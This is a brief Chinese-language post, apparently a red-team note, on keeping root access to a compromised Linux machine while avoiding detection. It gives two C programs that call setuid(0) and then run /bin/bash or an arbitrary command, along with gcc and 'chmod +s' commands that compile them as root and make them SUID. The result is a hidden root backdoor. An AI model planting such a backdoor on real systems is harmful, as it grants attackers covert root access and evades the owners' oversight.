d在我们攻防当中,常常会碰到linux机器,拿到之后为了避免发现

低权限升高权限

创建一个c文件

1
2
3
4
5
6
7
#include <stdio.h>
int main()
{
setuid(0);
system("/bin/bash");
return 0;
}
1
2
3
4
5
6
7
#include <stdio.h>
int main(int argc,char* argv[])
{
setuid(0);
system(argv[1]);
return 0;
}

在高权限用户下编译,并赋予权限

1
2
gcc -o rt hm.c
chmod +s rt

image-20220915142637139